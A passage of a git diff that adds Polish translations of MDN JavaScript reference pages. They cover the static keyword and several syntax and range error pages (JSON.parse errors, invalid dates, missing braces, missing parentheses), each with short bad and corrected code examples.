+ <li><a href="https://rfrn.org/~shu/2018/05/02/the-semantics-of-all-js-class-elements.html">The Semantics of All JS Class Elements</a></li>
+</ul>
diff --git a/files/pl/web/javascript/reference/classes/static/index.html b/files/pl/web/javascript/reference/classes/static/index.html
new file mode 100644
index 0000000000..814c118957
--- /dev/null
+++ b/files/pl/web/javascript/reference/classes/static/index.html
@@ -0,0 +1,138 @@
+---
+title: static
+slug: Web/JavaScript/Reference/Classes/static
+tags:
+ - Classes
+ - ECMAScript 2015
+ - JavaScript
+ - Static
+translation_of: Web/JavaScript/Reference/Classes/static
+---
+<div>{{jsSidebar("Classes")}}</div>
+
+<p><span class="seoSummary">Słowo kluczowe <code><strong>static</strong></code> definiuje statyczną metodę lub właściwość klasy. Metody i właściwości statyczne nie są wywoływane na instancjach klasy, a bezpośrednio na samej klasie. Statyczne metody to często funkcje służące na przykład do tworzenia czy klonowania obiektów, a statyczne właściwości są użyteczne do cache'ów, stałej konfiguracji lub innych właściwości, które nie muszą być powielane w instancjach.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/js/classes-static.html")}}</div>
+
+
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox notranslate">static nazwaMetody() { ... }
+static nazwaWlasciwosci [=wartosc];
+</pre>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Używanie_static_w_klasach">Używanie <code>static</code> w klasach</h3>
+
+<p>Poniższy przykład demonstruje kilka rzeczy:</p>
+
+<ol>
+ <li>Jak statyczna metoda lub właściwość jest implementowana w klasie</li>
+ <li>Klasa z metodą lub właściwością statyczną może być dziedziczona</li>
+ <li>Jak metoda lub właściwość statyczna może być wywoływana</li>
+</ol>
+
+<pre class="brush: js notranslate">class Triple {
+ static customName = 'Tripler';
+ static description = 'I triple any number you provide';
+ static triple(n = 1) {
+ return n * 3;
+ }
+}
+
+class BiggerTriple extends Triple {
+ static longDescription;
+ static description = 'I square the triple of any number you provide';
+ static triple(n) {
+ return super.triple(n) * super.triple(n);
+ }
+}
+
+console.log(Triple.description); // 'I triple any number you provide'
+console.log(Triple.triple()); // 3
+console.log(Triple.triple(6)); // 18
+
+var tp = new Triple();
+
+console.log(BiggerTriple.triple(3)); // 81 (not affected by parent's instantiation)
+console.log(BiggerTriple.description); // 'I square the triple of any number you provide'
+console.log(BiggerTriple.longDescription); // undefined
+console.log(BiggerTriple.customName); // 'Tripler'
+
+console.log(tp.triple()); // 'tp.triple is not a function'.
+</pre>
+
+<h3 id="Wywoływanie_metod_statycznych_z_innych_metod_statycznych">Wywoływanie metod statycznych z innych metod statycznych</h3>
+
+<p>W celu wywołania metody lub właściwości statycznej z innej metody statycznej tej samej klasy można użyć słowa kluczowego <code>this</code>.</p>
+
+<pre class="brush: js notranslate">class StaticMethodCall {
+ static staticProperty = 'static property';
+ static staticMethod() {
+ return 'Static method and ' + this.staticProperty + ' has been called';
+ }
+ static anotherStaticMethod() {
+ return this.staticMethod() + ' from another static method';
+ }
+}
+StaticMethodCall.staticMethod();
+// 'Static method and static property has been called'
+
+StaticMethodCall.anotherStaticMethod();
+// 'Static method and static property has been called from another static method'</pre>
+
+<h3 id="Wywoływanie_metod_statycznych_z_konstruktora_i_innych_metod">Wywoływanie metod statycznych z konstruktora i innych metod</h3>
+
+<p>Metody statyczne nie są dostępne przez this w metodach niestatycznych. Trzeba je wywołać, używając nazwy klasy: <code>CLASSNAME.STATIC_METHOD_NAME()</code> / <code>CLASSNAME.STATIC_PROPERTY_NAME</code> lub jako metody właściwości <code>constructor</code>: <code>this.constructor.STATIC_METHOD_NAME()</code> / <code>this.constructor.STATIC_PROPERTY_NAME</code>.</p>
+
+<pre class="brush: js notranslate">class StaticMethodCall {
+ constructor() {
+  console.log(StaticMethodCall.staticProperty); // 'static property'
+ console.log(this.constructor.staticProperty); // 'static property'
+ console.log(StaticMethodCall.staticMethod()); // 'static method has been called.'
+ console.log(this.constructor.staticMethod()); // 'static method has been called.'
+ }
+
+  static staticProperty = 'static property';
+ static staticMethod() {
+ return 'static method has been called.';
+ }
+}</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-class-definitions', 'Class definitions')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Definicja początkowa.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-class-definitions', 'Class definitions')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność">Kompatybilność</h2>
+
+
+
+<p>{{Compat("javascript.classes.static")}}</p>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/class"><code>class</code> expression</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/class"><code>class</code> declaration</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Classes">Classes</a></li>
+</ul>
diff --git a/files/pl/web/javascript/reference/errors/brakujący_średnik_po_własności_id/index.html b/files/pl/web/javascript/reference/errors/brakujący_średnik_po_własności_id/index.html
new file mode 100644
index 0000000000..ecdb783335
--- /dev/null
+++ b/files/pl/web/javascript/reference/errors/brakujący_średnik_po_własności_id/index.html
@@ -0,0 +1,77 @@
+---
+title: 'Błąd składni: brakująca własność po identyfikatorze.'
+slug: Web/JavaScript/Reference/Errors/Brakujący_średnik_po_własności_id
+tags:
+ - Błąd
+ - Błąd składniowy
+ - Błędy
+ - JavaScript
+translation_of: Web/JavaScript/Reference/Errors/Missing_colon_after_property_id
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Wiadomość">Wiadomość</h2>
+
+<pre class="syntaxbox"><span class="short_text" id="result_box" lang="pl"><span>Błąd składni: brakująca własność po identyfikatorze.</span></span>
+</pre>
+
+<h2 id="Typ_błedu">Typ błedu</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Co_poszło_nie_tak">Co poszło nie tak?</h2>
+
+<p>Kiedy tworzysz objekty korzystając z <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">Inicjalizatora objektu</a> składnia, używając dwukropka (<code>:</code>) oddziela klucze i wartości od własności objektu.</p>
+
+<pre class="brush: js">var obj = { własnośćKlucza: 'wartość' };
+</pre>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Dwukropki_a_znaki_równości">Dwukropki a znaki równości</h3>
+
+<p>Ten kod nie zadziała prawidłowo, ponieważ nie możesz w ten sposób używać znaków równości, aby korzystać z inicjalizatora objektu.</p>
+
+<pre class="brush: js example-bad">var obj = { własnośćKlucza = 'wartość' };
+// <span class="short_text" id="result_box" lang="pl"><span>Błąd składni: brakująca własność po identyfikatorze.</span></span>
+</pre>
+
+<p>Poprawnie byłoby użyć znaku dwukropka, lub używając nawiasów kwadratowych aby przydzielić nową własność po stworzeniu objektu</p>
+
+<pre class="brush: js example-good">var obj = { własnośćKlucza: 'wartość' };
+
+// Lub inaczej
+
+var obj = { };
+obj['własnośćKlucza'] = 'wartość';
+</pre>
+
+<h3 id="Puste_własności">Puste własności</h3>
+
+<p>Nie możesz w ten sposób tworzyć pustych własności.</p>
+
+<pre class="brush: js example-bad">var obj = { własnośćKlucza; };
+// <span class="short_text" id="result_box" lang="pl"><span>Błąd składni: brakująca własność po identyfikatorze.</span></span>
+</pre>
+
+<p>Jeżeli potrzebujesz zdefiniować własność bez wartości, powinieneś użyć {{jsxref("null")}} jako wartości</p>
+
+<pre class="brush: js example-good">var obj = { własnośćKlucza: null };</pre>
+
+<h3 id="Własności_obliczeniowe">Własności obliczeniowe</h3>
+
+<p>Jeżeli tworzysz własność klucza z wyrażenia, potrzebujesz uzyć kwadratowych nawiasów. W przeciwnym razie, nazwa własności nie będzie możliwa do obliczenia</p>
+
+<pre class="brush: js example-bad">var obj = { 'b'+'ar': 'foo' };
+// <span class="short_text" id="result_box" lang="pl"><span>Błąd składni: brakująca własność po identyfikatorze.</span></span>
+</pre>
+
+<p>Przenieś to wyrażenie do nawiasów <code>[]</code>:</p>
+
+<pre class="brush: js example-good">var obj = { ['b'+'ar']: 'foo' };</pre>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">Inicjalizator objektu</a></li>
+</ul>
diff --git a/files/pl/web/javascript/reference/errors/index.html b/files/pl/web/javascript/reference/errors/index.html
new file mode 100644
index 0000000000..68d78ee3e9
--- /dev/null
+++ b/files/pl/web/javascript/reference/errors/index.html
@@ -0,0 +1,28 @@
+---
+title: JavaScript error reference
+slug: Web/JavaScript/Reference/Errors
+tags:
+ - Błąd
+ - Błąd javascript
+ - Debugowanie JavaScript
+ - JavaScript
+ - Pomoc JavaScript
+translation_of: Web/JavaScript/Reference/Errors
+---
+<p>{{jsSidebar("Errors")}}</p>
+
+<p>Poniżej znajduje się lista błędów JavaScript wyświetlanych w konsoli. Takie błędy mogą być dla Ciebie pomocne w debugowaniu skryptu, natomiast wyświetlany komunikat dotyczący danego błędu nie zawsze jest zrozumiały. Poniższe odnośniki przekierowują Cię na strony, których zawartość szczegółowo opisuje dany problem. Każdy błąd jest traktowany jako obiekt {{jsxref("Error")}}, posiada <code>name</code> oraz <code>message</code>.</p>
+
+<p>Błędy wyświetlane w konsoli www mogą zawierać łącza do odpowiedniej strony poniżej, aby pomóc Ci szybko zrozumieć problem, który pojawił się w kodzie. </p>
+
+<h2 id="Lista_błędów">Lista błędów</h2>
+
+<p>Na tej liście każda strona jest wyświetlana według nazwy (typu błędu) i wiadomości (bardziej czytelna forma błędu dla człowieka w formie komuniaktu). Razem te dwa elementy stanowią punkt wyjścia do zrozumienia problemu. Aby uzyskać więcej informacji, kliknij jeden z poniższych odnośników.</p>
+
+<p>{{ListSubPages("/en-US/docs/Web/JavaScript/Reference/Errors")}}</p>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_went_wrong">What went wrong? Troubleshooting JavaScript</a>: Tutorial dla początkujących - jak naprawić błąd JavaScript.</li>
+</ul>
diff --git a/files/pl/web/javascript/reference/errors/invalid_array_length/index.html b/files/pl/web/javascript/reference/errors/invalid_array_length/index.html
new file mode 100644
index 0000000000..e84d0f36a2
--- /dev/null
+++ b/files/pl/web/javascript/reference/errors/invalid_array_length/index.html
@@ -0,0 +1,79 @@
+---
+title: 'RangeError: invalid array length'
+slug: Web/JavaScript/Reference/Errors/Invalid_array_length
+tags:
+ - Błędy
+ - Errors
+ - JavaScript
+ - RangeError
+translation_of: Web/JavaScript/Reference/Errors/Invalid_array_length
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Wiadomość">Wiadomość</h2>
+
+<pre class="syntaxbox">RangeError: Array length must be a finite positive integer (Edge)
+RangeError: invalid array length (Firefox)
+RangeError: Invalid array length (Chrome)
+RangeError: Invalid array buffer length (Chrome)
+</pre>
+
+<h2 id="Typ_błędu">Typ błędu</h2>
+
+<p>{{jsxref("RangeError")}}</p>
+
+<h2 id="Co_poszło_nie_tak">Co poszło nie tak?</h2>
+
+<p>Niewłaściwa długość tablicy może wystąpić w następujących sytuacjach:</p>
+
+<ul>
+ <li>Kiedy obiekt {{jsxref("Array")}} lub {{jsxref("ArrayBuffer")}} ma długość ujemną albo większą lub równą 2<sup>32</sup>,</li>
+ <li>przy ustawianiu własności {{jsxref("Array.length")}} na wartość ujemną albo większą lub równą 2<sup>32</sup>.</li>
+</ul>
+
+<p>Dlaczego długość obiektów typu <code>Array</code> i <code>ArrayBuffer</code> jest ograniczona? Własności te są reprezentowane jako 32-bitowe liczby całkowite bez znaku, które mogą przyjmować wartości z zakresu od 0 do 2<sup>32</sup>-1.</p>
+
+<p>Kiedy tworzysz obiekt typu <code>Array</code>, używając konstruktora, prawdopodobnie chcesz użyć zamiast tego literalnej notacji, gdyż pierwszy argument jest interpretowany jako długość obiektu <code>Array</code>.</p>
+
+<p><span class="tlid-translation translation" lang="pl"><span title="">W przeciwnym razie możesz chcieć ustalić długość przed ustawieniem właściwości <code>length</code> lub użyć jej jako argumentu konstruktora.</span></span></p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Niepoprawne_przypadki">Niepoprawne przypadki</h3>
+
+<pre class="brush: js example-bad">new Array(Math.pow(2, 40))
+new Array(-1)
+new ArrayBuffer(Math.pow(2, 32))
+new ArrayBuffer(-1)
+
+let a = [];
+a.length = a.length - 1; // ustaw -1 dla własności length
+
+let b = new Array(Math.pow(2, 32) - 1);
+b.length = b.length + 1; // ustaw 2^32 dla własności length
+</pre>
+
+<h3 id="Poprawne">Poprawne</h3>
+
+<pre class="brush: js example-good">[ Math.pow(2, 40) ] // [ 1099511627776 ]
+[ -1 ] // [ -1 ]
+new ArrayBuffer(Math.pow(2, 32) - 1)
+new ArrayBuffer(0)
+
+let a = [];
+a.length = Math.max(0, a.length - 1);
+
+let b = new Array(Math.pow(2, 32) - 1);
+b.length = Math.min(0xffffffff, b.length + 1);
+
+// 0xffffffff jest szesnastkowym zapisem dla 2^32 - 1,
+// co może być także zapisane jako (-1 &gt;&gt;&gt; 0)
+</pre>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Array.length")}}</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/reference/errors/invalid_date/index.html b/files/pl/web/javascript/reference/errors/invalid_date/index.html
new file mode 100644
index 0000000000..fe5d685894
--- /dev/null
+++ b/files/pl/web/javascript/reference/errors/invalid_date/index.html
@@ -0,0 +1,59 @@
+---
+title: 'RangeError: invalid date'
+slug: Web/JavaScript/Reference/Errors/Invalid_date
+tags:
+ - Błąd
+ - Error
+ - JavaScript
+ - RangeError
+translation_of: Web/JavaScript/Reference/Errors/Invalid_date
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<p>Wyjątek JavaScript „invalid date” (<em>niewłaściwa data</em>) zdarza się, gdy ciąg znaków zawierający niepoprawną datę jest przekazany do {{jsxref("Date")}} lub {{jsxref("Date.parse()")}}.</p>
+
+<h2 id="Wiadomość">Wiadomość</h2>
+
+<pre class="syntaxbox notranslate">RangeError: invalid date (Edge)
+RangeError: invalid date (Firefox)
+RangeError: invalid time value (Chrome)
+RangeError: Provided date is not in valid range (Chrome)
+</pre>
+
+<h2 id="Rodzaj_błędu">Rodzaj błędu</h2>
+
+<p>{{jsxref("RangeError")}}</p>
+
+<h2 id="Co_poszło_nie_tak">Co poszło nie tak?</h2>
+
+<p>Ciąg znaków przekazany do {{jsxref("Date")}} lub {{jsxref("Date.parse()")}} prowadzi do niepoprawnej daty.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Niepoprawne_przypadki">Niepoprawne przypadki</h3>
+
+<p>Ciągi znaków, w których nie można rozpoznać daty, lub które zawierają elementy niezgodne ze standardem ISO w większości przypadków spowodują zwrócenie {{jsxref("NaN")}}. Jednakże — w zależności od implementacji — niektóre wartości niezgodne z formatem ISO mogą także spowodować błąd <code>RangeError: invalid date</code>, tak jak następujące przypadki w przeglądarce Firefox:</p>
+
+<pre class="brush: js example-bad notranslate">new Date('foo-bar 2014');
+new Date('2014-25-23').toISOString();
+new Date('foo-bar 2014').toString();
+</pre>
+
+<p>Jednocześnie poniższy przykład zwróci w Firefoksie wartość {{jsxref("NaN")}}:</p>
+
+<pre class="brush: js example-bad notranslate">Date.parse('foo-bar 2014'); // NaN</pre>
+
+<p>Więcej szczegółów znajduje się w dokumentacji {{jsxref("Date.parse()")}}.</p>
+
+<h3 id="Poprawne_przypadki">Poprawne przypadki</h3>
+
+<pre class="brush: js example-good notranslate">new Date('05 October 2011 14:48 UTC');
+new Date(1317826080); // Timestamp Unix dla daty 5 października 2011 14:48:00 UTC</pre>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li>{{jsxref("Date")}}</li>
+ <li>{{jsxref("Date.prototype.parse()")}}</li>
+ <li>{{jsxref("Date.prototype.toISOString()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/reference/errors/json_bad_parse/index.html b/files/pl/web/javascript/reference/errors/json_bad_parse/index.html
new file mode 100644
index 0000000000..a57c961088
--- /dev/null
+++ b/files/pl/web/javascript/reference/errors/json_bad_parse/index.html
@@ -0,0 +1,114 @@
+---
+title: 'SyntaxError: JSON.parse: bad parsing'
+slug: Web/JavaScript/Reference/Errors/JSON_bad_parse
+tags:
+ - Błąd składniowy
+ - Błędy
+ - Errors
+ - JSON
+ - JavaScript
+ - Metodă
+ - SyntaxError
+ - Własność
+translation_of: Web/JavaScript/Reference/Errors/JSON_bad_parse
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Wiadomosć">Wiadomosć</h2>
+
+<pre class="syntaxbox">SyntaxError: JSON.parse: unterminated string literal
+SyntaxError: JSON.parse: bad control character in string literal
+SyntaxError: JSON.parse: bad character in string literal
+SyntaxError: JSON.parse: bad Unicode escape
+SyntaxError: JSON.parse: bad escape character
+SyntaxError: JSON.parse: unterminated string
+SyntaxError: JSON.parse: no number after minus sign
+SyntaxError: JSON.parse: unexpected non-digit
+SyntaxError: JSON.parse: missing digits after decimal point
+SyntaxError: JSON.parse: unterminated fractional number
+SyntaxError: JSON.parse: missing digits after exponent indicator
+SyntaxError: JSON.parse: missing digits after exponent sign
+SyntaxError: JSON.parse: exponent part is missing a number
+SyntaxError: JSON.parse: unexpected end of data
+SyntaxError: JSON.parse: unexpected keyword
+SyntaxError: JSON.parse: unexpected character
+SyntaxError: JSON.parse: end of data while reading object contents
+SyntaxError: JSON.parse: expected property name or '}'
+SyntaxError: JSON.parse: end of data when ',' or ']' was expected
+SyntaxError: JSON.parse: expected ',' or ']' after array element
+SyntaxError: JSON.parse: end of data when property name was expected
+SyntaxError: JSON.parse: expected double-quoted property name
+SyntaxError: JSON.parse: end of data after property name when ':' was expected
+SyntaxError: JSON.parse: expected ':' after property name in object
+SyntaxError: JSON.parse: end of data after property value in object
+SyntaxError: JSON.parse: expected ',' or '}' after property value in object
+SyntaxError: JSON.parse: expected ',' or '}' after property-value pair in object literal
+SyntaxError: JSON.parse: property names must be double-quoted strings
+SyntaxError: JSON.parse: expected property name or '}'
+SyntaxError: JSON.parse: unexpected character
+SyntaxError: JSON.parse: unexpected non-whitespace character after JSON data
+SyntaxError: JSON.parse Error: Invalid character at position {0} (Edge)</pre>
+
+<h2 id="Typ_błędu">Typ błędu</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Co_poszło_nie_tak">Co poszło nie tak?</h2>
+
+<p>{{jsxref("JSON.parse()")}} parsuje string jako JSON. Zadany string musi być poprawnym dokumentem JSON, więc błąd wystąpi wtedy, gdy zostanie napotkana niepoprawna składnia.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="JSON.parse_nie_pozwala_na_końcowe_przecinki"><code>JSON.parse()</code> nie pozwala na końcowe przecinki</h3>
+
+<p>Both lines will throw a SyntaxError:</p>
+
+<pre class="brush: js example-bad">JSON.parse('[1, 2, 3, 4,]');
+JSON.parse('{"foo": 1,}');
+// SyntaxError JSON.parse: unexpected character
+// at line 1 column 14 of the JSON data
+</pre>
+
+<p>Pomiń końcowe przecinki, aby sparsować dokument JSON w poprawny sposób:</p>
+
+<pre class="brush: js example-good">JSON.parse('[1, 2, 3, 4]');
+JSON.parse('{"foo": 1}');</pre>
+
+<h3 id="Nazwy_własności_muszą_znajdować_się_w_cudzysłowach">Nazwy własności muszą znajdować się w cudzysłowach</h3>
+
+<p>Nie możesz użyć apostrofów do określania nazw własności, jak np. 'foo'.</p>
+
+<pre class="brush: js example-bad">JSON.parse("{'foo': 1}");
+// SyntaxError: JSON.parse: expected property name or '}'
+// at line 1 column 2 of the JSON data</pre>
+
+<p>Zamiast tego użyj "foo":</p>
+
+<pre class="brush: js example-good">JSON.parse('{"foo": 1}');</pre>
+
+<h3 id="Zera_wiodące_i_część_niecałkowita_liczby">Zera wiodące i część niecałkowita liczby</h3>
+
+<p>Nie możesz użyć zer wiodących, jak na przykład <code>01</code>, ponadto część niecałkowita musi zawierać co najmniej jedną cyfrę, jeśli używany jest format dziesiętny.</p>
+
+<pre class="brush: js example-bad">JSON.parse('{"foo": 01}');
+// SyntaxError: JSON.parse: expected ',' or '}' after property value
+// in object at line 1 column 2 of the JSON data
+
+JSON.parse('{"foo": 1.}');
+// SyntaxError: JSON.parse: unterminated fractional number
+// at line 1 column 2 of the JSON data
+</pre>
+
+<p>Zamiast tego napisz po prostu <code>1</code> bez zera z przodu i użyj co najmniej jednej cyfry w częsci dziesiętnej:</p>
+
+<pre class="brush: js example-good">JSON.parse('{"foo": 1}');
+JSON.parse('{"foo": 1.0}');
+</pre>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li>{{jsxref("JSON")}}</li>
+ <li>{{jsxref("JSON.parse()")}}</li>
+ <li>{{jsxref("JSON.stringify()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/reference/errors/missing_curly_after_function_body/index.html b/files/pl/web/javascript/reference/errors/missing_curly_after_function_body/index.html
new file mode 100644
index 0000000000..efabf665c9
--- /dev/null
+++ b/files/pl/web/javascript/reference/errors/missing_curly_after_function_body/index.html
@@ -0,0 +1,72 @@
+---
+title: 'SyntaxError: missing } after function body'
+slug: Web/JavaScript/Reference/Errors/Missing_curly_after_function_body
+tags:
+ - Błąd
+ - Błąd składni
+ - Błędy
+ - Error
+ - JavaScript
+ - SyntaxError
+translation_of: Web/JavaScript/Reference/Errors/Missing_curly_after_function_body
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<p>Wyjątek JavaScript "missing } after function body" (<em>brakujący } po ciele funkcji</em>) zdarza się, gdy jest błąd składniowy gdzieś w definicji funkcji. Należy sprawdzić, czy wszystkie klamry i nawiasy są w odpowiednich miejscach i kolejności.</p>
+
+<h2 id="Wiadomość">Wiadomość</h2>
+
+<pre class="syntaxbox notranslate">SyntaxError: Expected '}' (Edge)
+SyntaxError: missing } after function body (Firefox)
+</pre>
+
+<h2 id="Rodzaj_błędu">Rodzaj błędu</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Co_poszło_nie_tak">Co poszło nie tak?</h2>
+
+<p>W którymś miejscu pojawił się błąd przy tworzeniu funkcji. Należy sprawdzić, czy wszystkie zamykaące klamry i nawiasy są we właściwej kolejności. Odpowiednie wcięcia i formatowanie kodu mogą pomóc Ci w odnalezieniu błędu.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Brakująca_klamra_zamykająca">Brakująca klamra zamykająca</h3>
+
+<p>Często zdarza się, że brakuje klamry zamykającej w funkcji w Twoim kodzie:</p>
+
+<pre class="brush: js example-bad notranslate">var charge = function() {
+ if (sunny) {
+ useSolarCells();
+ } else {
+ promptBikeRide();
+};
+</pre>
+
+<p>Poprawny kod wygląda następująco:</p>
+
+<pre class="brush: js example-good notranslate">var charge = function() {
+ if (sunny) {
+ useSolarCells();
+ } else {
+ promptBikeRide();
+ }
+};</pre>
+
+<p>Może to być o wiele bardziej niejasne, kiedy używane są <a href="/en-US/docs/Glossary/IIFE">IIFE</a>, <a href="/pl/docs/Web/JavaScript/Domkniecia">domknięcia</a>, czy inne konstrukcje wymagające wielu różnych nawiasów i klamer, jak na przykład:</p>
+
+<pre class="brush: js example-bad notranslate">(function() { if (true) { return false; } );
+</pre>
+
+<p>Często zastosowanie innych wcięć lub dokładne sprawdzenie poprawności wcięć pozwala na znalezienie błędów tego rodzaju.</p>
+
+<pre class="brush: js example-good notranslate">(function() {
+ if (true) {
+ return false;
+ }
+});</pre>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li><a href="/pl/docs/Web/JavaScript/Guide/Funkcje">Funkcje</a></li>
+</ul>
diff --git a/files/pl/web/javascript/reference/errors/missing_initializer_in_const/index.html b/files/pl/web/javascript/reference/errors/missing_initializer_in_const/index.html
new file mode 100644
index 0000000000..457a8e6a97
--- /dev/null
+++ b/files/pl/web/javascript/reference/errors/missing_initializer_in_const/index.html
@@ -0,0 +1,61 @@
+---
+title: 'SyntaxError: missing = in const declaration'
+slug: Web/JavaScript/Reference/Errors/Missing_initializer_in_const
+tags:
+ - Błąd
+ - Błąd składni
+ - Error
+ - JavaScript
+ - SyntaxError
+translation_of: Web/JavaScript/Reference/Errors/Missing_initializer_in_const
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Wiadomość">Wiadomość</h2>
+
+<pre class="syntaxbox">SyntaxError: Const must be initalized (Edge)
+SyntaxError: missing = in const declaration (Firefox)
+SyntaxError: Missing initializer in const declaration (Chrome)
+</pre>
+
+<h2 id="Typ_błędu">Typ błędu</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Co_poszło_nie_tak">Co poszło nie tak?</h2>
+
+<p>Stała jest wartością, która nie może być zmieniona podczas normalnego wykonania programu. Nie może być zmodyfikowana poprzez ponowne przypisanie wartości ani ponowną deklarację. W języku JavaScipt, stałe są deklarowane za pomocą słowa kluczowego <code>const</code>. Wymagane jest zainicjowanie stałej konkretną wartością – konieczne jest przypisanie danej stałej wartości w tym samym wyrażeniu, w którym jest deklarowana (co ma sens, biorąc pod uwagę fakt, że nie może ona być później zmieniana).</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Brakująca_inicjalizacja_stałej">Brakująca inicjalizacja stałej</h3>
+
+<p>W przeciwieństwie do <code>var</code> lub <code>let</code>, konieczne jest podanie wartości przy deklaracji <code>const</code>. W przeciwnym razie zwracany jest błąd:</p>
+
+<pre class="brush: js example-bad">const COLUMNS;
+// SyntaxError: missing = in const declaration</pre>
+
+<h3 id="Naprawianie_błędu">Naprawianie błędu</h3>
+
+<p>Jest wiele opcji, by naprawić ten błąd. Należy sprawdzić, czemu miała służyć stała, o której mowa.</p>
+
+<h4 id="Dodawanie_wartości_stałej">Dodawanie wartości stałej</h4>
+
+<p>Ustal wartość stałej w tym samym wyrażeniu, w którym jest ona deklarowana:</p>
+
+<pre class="brush: js example-good">const COLUMNS = 80;</pre>
+
+<h4 id="const_let_or_var"><code>const</code>, <code>let</code> or <code>var</code>?</h4>
+
+<p>Nie używaj <code>const</code> tam, gdzie nie chcesz użyć stałej. Być może chciałeś zadeklarować zmienną z zakresem ograniczonym do danego bloku kodu za pomocą <code>let</code> lub zmienną globalną przy użyciu <code>var</code>. Obydwie te opcje nie wymagają wartości początkowej.</p>
+
+<pre class="brush: js example-good">let columns;
+</pre>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/const">const</a></code></li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/let">let</a></code></li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/var">var</a></code></li>
+</ul>
diff --git a/files/pl/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html b/files/pl/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html
new file mode 100644
index 0000000000..a821081889
--- /dev/null
+++ b/files/pl/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html
@@ -0,0 +1,59 @@
+---
+title: 'SyntaxError: missing ) after argument list'
+slug: Web/JavaScript/Reference/Errors/Missing_parenthesis_after_argument_list
+tags:
+ - Błąd
+ - Błąd składni
+ - Błędy
+ - Error
+ - JavaScript
+ - SyntaxError
+translation_of: Web/JavaScript/Reference/Errors/Missing_parenthesis_after_argument_list
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<p>Wyjątek JavaScript  „missing ) after argument list” (brakujący „)” po liście argumentów) występuje, gdy pojawia się błąd przy próbie wywołania funkcji. Może być on spowodowany literówką, brakującym operatorem lubciągiem znaków, w którym nie został zastosowany znak ucieczki tam, gdzie był potrzebny.</p>
+
+<h2 id="Wiadomość">Wiadomość</h2>
+
+<pre class="syntaxbox notranslate">SyntaxError: Expected ')' (Edge)
+SyntaxError: missing ) after argument list (Firefox)
+</pre>
+
+<h2 id="Rodzaj_błędu">Rodzaj błędu</h2>
+
+<p>{{jsxref("SyntaxError")}}.</p>
+
+<h2 id="Co_poszło_nie_tak">Co poszło nie tak?</h2>
+
+<p>Wystąpił błąd w wywołaniu funkcji. Powodem może być na przykład literówka, brakujący operator lub brak znaku ucieczki w ciągu znaków, gdy zastosowanie go było potrzebne.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<p>Ponieważ brakuje operatora <code>+</code> przy próbie połączenia ciągów znaków, JavaScript oczekuje, że jedynym argumentem funkcji <code>log</code> będzie <code>"PI: "</code>, a zatem że nastąpi po nim nawias zamykający.</p>
+
+<pre class="brush: js example-bad notranslate">console.log('PI: ' Math.PI);
+// SyntaxError: missing ) after argument list
+</pre>
+
+<p>Można naprawić wywołanie funkcji <code>log</code> poprzez dodanie brakującego operatora <code>+</code>:</p>
+
+<pre class="brush: js example-good notranslate">console.log('PI: ' + Math.PI);
+// "PI: 3.141592653589793"</pre>
+
+<h3 id="Niedokończone_ciągi_znaków">Niedokończone ciągi znaków</h3>
+
+<pre class="brush: js example-bad notranslate">console.log('"Java" + "Script" = \"' + 'Java' + 'Script\");
